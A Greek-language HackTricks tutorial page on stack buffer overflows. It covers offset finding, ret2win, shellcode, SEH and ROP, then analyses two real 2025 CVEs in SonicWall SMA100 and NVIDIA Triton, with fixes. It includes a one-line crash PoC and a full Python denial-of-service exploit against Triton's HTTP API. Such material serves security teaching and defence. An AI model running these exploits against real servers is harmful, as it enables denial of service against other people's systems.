Stack Overflow
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Τι είναι ένα Stack Overflow
Ένα stack overflow είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχουν δεσμευτεί για να τα κρατήσει. Αυτά τα πλεονάζοντα δεδομένα θα επαναγράψουν τον παρακείμενο χώρο μνήμης, οδηγώντας σε καταστροφή έγκυρων δεδομένων, διατάραξη της ροής ελέγχου και ενδεχομένως στην εκτέλεση κακόβουλου κώδικα. Το πρόβλημα αυτό προκύπτει συχνά λόγω χρήσης μη ασφαλών συναρτήσεων που δεν ελέγχουν τα όρια της εισόδου.
Το κύριο πρόβλημα αυτής της επανεγγραφής είναι ότι ο saved instruction pointer (EIP/RIP) και ο saved base pointer (EBP/RBP) που χρησιμοποιούνται για να επιστρέψει στην προηγούμενη συνάρτηση αποθηκεύονται στο stack. Επομένως, ένας επιτιθέμενος θα μπορεί να τα επαναγράψει και να ελέγξει τη ροή εκτέλεσης του προγράμματος.
Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση αντιγράφει μέσα στο stack περισσότερα bytes από το ποσό που της έχει δεσμευτεί, επιτρέποντας έτσι την επανεγγραφή άλλων τμημάτων του stack.
Κάποιες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: strcpy
, strcat
, sprintf
, gets
... Επίσης, συναρτήσεις όπως fgets
, read
& memcpy
που παίρνουν ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το δεσμευμένο.
Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Εύρεση Stack Overflows offsets
Ο πιο συνηθισμένος τρόπος για να βρείτε stack overflows είναι να δώσετε ένα πολύ μεγάλο input από A
s (π.χ. python3 -c 'print("A"*1000)'
) και να περιμένετε ένα Segmentation Fault
που υποδεικνύει ότι η διεύθυνση 0x41414141
προσπαθήθηκε να προσπελαστεί.
Επιπλέον, μόλις διαπιστώσετε ότι υπάρχει Stack Overflow vulnerability, θα χρειαστεί να βρείτε το offset μέχρι να είναι δυνατό να overwrite the return address, για αυτό συνήθως χρησιμοποιείται μια De Bruijn sequence. Η οποία, για ένα δεδομένο αλφάβητο μεγέθους k και υποακολουθίες μήκους n, είναι μια κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους n εμφανίζεται ακριβώς μία φορά ως συνεχόμενη υποακολουθία.
Με αυτόν τον τρόπο, αντί να χρειάζεται να βρείτε χειροκίνητα ποιο offset απαιτείται για να ελέγξετε το EIP, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε το offset των bytes που κατέληξαν να την αντικαταστήσουν.
Μπορείτε να χρησιμοποιήσετε pwntools για αυτό:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
ή GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Εκμετάλλευση Stack Overflows
Κατά τη διάρκεια ενός overflow (υποθέτοντας ότι το μέγεθος του overflow είναι αρκετά μεγάλο) θα μπορείτε να overwrite τιμές τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε τον αποθηκευμένο EBP/RBP and EIP/RIP (or even more).
Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με modifying the return address, έτσι ώστε όταν η συνάρτηση τελειώσει η control flow will be redirected wherever the user specified σε αυτόν τον pointer.
Ωστόσο, σε άλλα σενάρια ίσως απλώς το overwriting some variables values in the stack να είναι αρκετό για την εκμετάλλευση (όπως σε easy CTF challenges).
Ret2win
Σε αυτόν τον τύπο CTF challenges, υπάρχει μια function inside το binary που never called και που you need to call in order to win. Για αυτές τις προκλήσεις χρειάζεται απλά να βρείτε το offset to overwrite the return address και να find the address of the function που θα καλέσετε (συνήθως ASLR θα είναι disabled) ώστε όταν η ευάλωτη function επιστρέψει, η κρυφή function να κληθεί:
Stack Shellcode
Σε αυτό το σενάριο ο attacker μπορεί να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να πηδήξει στο shellcode και να εκτελέσει arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
Σε 32-bit Windows, ένα overflow μπορεί να overwrite το Structured Exception Handler (SEH) chain αντί για το αποθηκευμένο return address. Η εκμετάλλευση συνήθως αντικαθιστά τον SEH pointer με ένα POP POP RET gadget και χρησιμοποιεί το 4-byte πεδίο nSEH για ένα σύντομο jump για να pivot πίσω στον μεγάλο buffer όπου βρίσκεται το shellcode. Ένα κοινό μοτίβο είναι ένα short jmp στο nSEH που προσγειώνεται σε ένα 5-byte near jmp τοποθετημένο ακριβώς πριν από το nSEH για να πηδήξει εκατοντάδες bytes πίσω στην αρχή του payload.
ROP & Ret2... techniques
Αυτή η τεχνική είναι το βασικό πλαίσιο για να παρακαμφθεί η κύρια προστασία της προηγούμενης τεχνικής: No executable stack (NX). Επιπλέον επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν arbitrary commands εκμεταλλευόμενες υπάρχουσες οδηγίες στο binary:
Heap Overflows
Ένα overflow δεν θα βρίσκεται πάντα στη στοίβα, μπορεί επίσης να είναι στο heap για παράδειγμα:
Types of protections
Υπάρχουν διάφορες προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, δείτε τις στο:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
Μια καλή επίδειξη του γιατί sscanf
δεν πρέπει ποτέ να εμπιστεύεται για την ανάλυση μη αξιόπιστων εισόδων εμφανίστηκε το 2025 στην SonicWall’s SMA100 SSL-VPN appliance.
Η ευάλωτη ρουτίνα μέσα στο /usr/src/EasyAccess/bin/httpd
προσπαθεί να εξάγει την έκδοση και το endpoint από οποιοδήποτε URI που ξεκινά με /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Η πρώτη μετατροπή (
%2s
) αποθηκεύει με ασφάλεια δύο bytes στοversion
(π.χ."v1"
). - Η δεύτερη μετατροπή (
%s
) δεν έχει καθορισμένη παράμετρο μήκους, επομένως τοsscanf
θα συνεχίσει να αντιγράφει μέχρι το πρώτο NUL byte. - Εφόσον το
endpoint
βρίσκεται στονstack
και έχει μήκος 0x800 bytes, η παροχή ενός path μεγαλύτερου από 0x800 bytes καταστρέφει όλα όσα βρίσκονται μετά το buffer ‑ συμπεριλαμβανομένων τουstack canary
και τηςsaved return address
.
Μια proof-of-concept μίας γραμμής αρκεί για να προκαλέσει το crash πριν την αυθεντικοποίηση:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Ακόμα και αν τα stack canaries τερματίζουν τη διαδικασία, ο επιτιθέμενος αποκτά παρ' όλ' αυτά ένα Denial-of-Service primitive (και, με επιπρόσθετα information leaks, ενδεχομένως code-execution). Το μάθημα είναι απλό:
- Να παρέχετε πάντα ένα maximum field width (π.χ.
%511s
). - Προτιμήστε ασφαλέστερες εναλλακτικές όπως
snprintf
/strncpy_s
.
Πραγματικό Παράδειγμα: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Το NVIDIA’s Triton Inference Server (≤ v25.06) περιείχε πολλαπλά stack-based overflows προσβάσιμα μέσω του HTTP API.
Το ευάλωτο μοτίβο εμφανιζόταν επανειλημμένα στο http_server.cc
και sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) επιστρέφει τον αριθμό των εσωτερικών buffer segments που συνθέτουν το τρέχον σώμα HTTP αιτήματος.- Κάθε τμήμα προκαλεί την κατανομή ενός
evbuffer_iovec
16-byte στο stack μέσωalloca()
– χωρίς κανένα ανώτατο όριο. - Καταχρηστικά χρησιμοποιώντας HTTP chunked transfer-encoding, ένας client μπορεί να αναγκάσει το αίτημα να χωριστεί σε εκατοντάδες χιλιάδες 6-byte chunks (
"1\r\nA\r\n"
). Αυτό κάνει τοn
να αυξάνεται απεριόριστα μέχρι να εξαντληθεί το stack.
Απόδειξη Ιδέας (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
Ένα ~3 MB αίτημα είναι αρκετό για να υπεργράψει την αποθηκευμένη διεύθυνση επιστροφής και να crash τον daemon σε ένα default build.
Διόρθωση & Αντιμετώπιση
Η έκδοση 25.07 αντικαθιστά την unsafe stack allocation με ένα heap-backed std::vector
και χειρίζεται ομαλά το std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Διδάγματα:
- Μην καλείτε ποτέ
alloca()
με attacker-controlled sizes. - Chunked requests μπορούν να αλλάξουν δραστικά τη μορφή των server-side buffers.
- Επικυρώστε / περιορίστε οποιαδήποτε τιμή προέρχεται από client input πριν τη χρήση της σε memory allocations.
Αναφορές
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.